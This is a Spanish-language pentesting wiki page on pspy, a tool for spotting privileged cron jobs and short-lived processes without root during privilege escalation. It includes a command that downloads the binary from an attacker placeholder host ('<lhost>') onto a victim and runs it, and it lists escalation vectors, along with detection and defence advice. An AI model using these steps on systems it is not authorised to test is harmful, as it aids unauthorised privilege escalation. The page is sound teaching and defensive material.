the_open_door
café
ESEN
← Volver al índice

pspy: spy on processes without root

pspy es una herramienta que permite ver los procesos que se ejecutan en el sistema en tiempo real sin necesidad de ser root. Es clave en la fase de escalada de privilegios: muchos vectores (tareas cron, timers de systemd, scripts lanzados por servicios) sólo se revelan al observar qué se ejecuta y con qué usuario, algo que un ps puntual no captura si el proceso es breve.

Cómo funciona

En lugar de pedir permisos, pspy vigila el sistema de ficheros con inotify (sobre /proc y los directorios de tareas programadas) y lista cada proceso nuevo en cuanto aparece, con su PID, UID y la línea de comando completa. Así captura procesos efímeros (los de un cron que dura un segundo) que de otro modo pasarían desapercibidos.

Uso típico

Es un binario estático que se sube a la víctima y se ejecuta. Hay versiones de 32 y 64 bits, con y sin la librería estándar embebida:

wget http://<lhost>/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000

Si no se puede subir el binario, una alternativa cruda es un bucle en Bash que muestre las diferencias de ps (menos fiable con procesos muy breves):

while true; do ps -eo pid,user,cmd --sort=start_time | tail -5; sleep 1; done

Qué buscar

Procesos que corran como root de forma periódica: un script en una ruta escribible (scripts cron escribibles), un binario sin ruta absoluta (secuestro del PATH), tar/zip con comodines (inyección por comodín), o utilidades como logrotate (abuso de logrotate) que tocan ficheros que controlamos. La frecuencia y el UID del proceso indican si hay un vector de elevación. Anotar la ruta exacta y comprobar permisos con ls -la.

Por qué importa

Convierte la enumeración de tareas programadas, que de otro modo depende de leer /etc/crontab, /etc/cron.* y los crontabs de usuario (no siempre legibles), en una observación directa. Si una tarea root está oculta en un crontab privado (/var/spool/cron/crontabs/root) que no podemos leer, pspy la delata por su ejecución.

Cómo detectarlo (uso del atacante). pspy en sí no lanza syscalls privilegiadas, pero deja rastro: un proceso de usuario que abre miles de watches inotify y lee /proc/*/stat/cmdline de forma masiva y sostenida es anómalo (visible con auditd sobre inotify_add_watch o por el número de descriptores en /proc/<pid>/fd). En un host monitorizado, un binario sin firma en /tmp con ese patrón de acceso a /proc es el indicador.

Defensa. No ejecutar tareas privilegiadas sobre ficheros o directorios escribibles por usuarios; usar rutas absolutas en los scripts de cron; minimizar lo que corre como root periódicamente. Relacionado con scripts cron escribibles y logrotate.

Herramientaspspy

Máquinas donde se aplica